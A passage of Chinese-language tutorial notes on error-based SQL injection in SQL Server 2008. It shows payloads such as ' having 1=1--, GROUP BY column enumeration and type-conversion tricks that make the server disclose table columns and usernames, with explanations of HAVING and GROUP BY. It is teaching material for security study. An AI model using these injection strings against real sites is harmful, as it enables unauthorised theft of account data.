目录
SQL Server 2008
1.利用错误消息提取信息
前提:网站是会返回错误信息的,就是所谓的显错模式。
注入思路:想办法让SQL程序在编译时候出错
SQL Server数据库可以准确定位错误消息
(1)枚举当前表及列-having语句
现在有一张表,结构如下:
create table users(
id int not null identity(1,1),
username varchar(20)not null,
password varchar(20)not null,
privs int not null,
email varchar(50)
查询root用户的详细信息,SQL语句如下:
select * from users where username='root'
攻击者' having 1=1--
最终执行SQL语句select * from users where username='root' and password='root' having 1=1--
那么SQL执行器将抛出一个错误(因版本差异,显示错误信息也稍有差异):
消息8120,级别16,状态1,第2行
选择列表中的列‘users.id’无效,因为该列没有包含在聚合函数或GROUPBY子句中。
可以发现当前表名为“users”,并且存在“ID”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:
select * from users where username='root' and password='root' group by users.id having 1=1--'
执行器错误提示:
消息8120,级别16,状态1,第1行
选择列表中的列‘users.username’无效,因为该列没有包含在聚合函数或GROUPBY子句中。
可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having子句“查询”出当前表的所有列名。
原理:因为having 要与group by 一起使用,如果不一起使用,就会出现语法错误,程序在编译时,发现没有group by 就会爆错,提示错误地方
SQL语句:GROUP BY 子句指定查询结果的分组条件
having 语句
having的用法其时和where差不多,就是加了一个查询时的限制条件,其区别在于其作用的对象不同。
WHERE 子句作用于表和视图,HAVING 子句作用于组。
查询条件id=1的项
select * from admin where id=1
查询有多个员工的工资不低于6000 的部门编号:
select id, count(*) from employee where wage >=6000 group by id having count(*)>1
group by 语句
使用时,group by 后面的列名数要和前面的列名数要一致,就是说前面有几个列,后面就要有几个列,除了用聚合函数的列可以不用
没有使用聚合函数:
select 列名1,列名2,... from admin where id>0 group by 列名1,列名2,...
这里group by 后面的列数就要和前面一致了。
使用聚合函数:
select 列名1,sum(列名2) from admin where id>0 group by 列名1
这里的sum(列名2)可以不用
聚合函数有 sum(求和),avg(求平均值),max(最大值),min(最小值),count(数量)
(2)利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常,比如以下SQL语句:
select * from users where username='root'and password='root'and 1>(select top 1 username from users)
执行器错误提示:
消息245,级别16,状态1,第2行
在将 varchar值,'root’转换成数据类型int时失败。
可以发现root账户已经被SQL Server给“出卖”了,利用此方法可以递归推导出所有的账户信息:
select*from users where username='root' and password='root' and 1>(select top 1 username from users where username no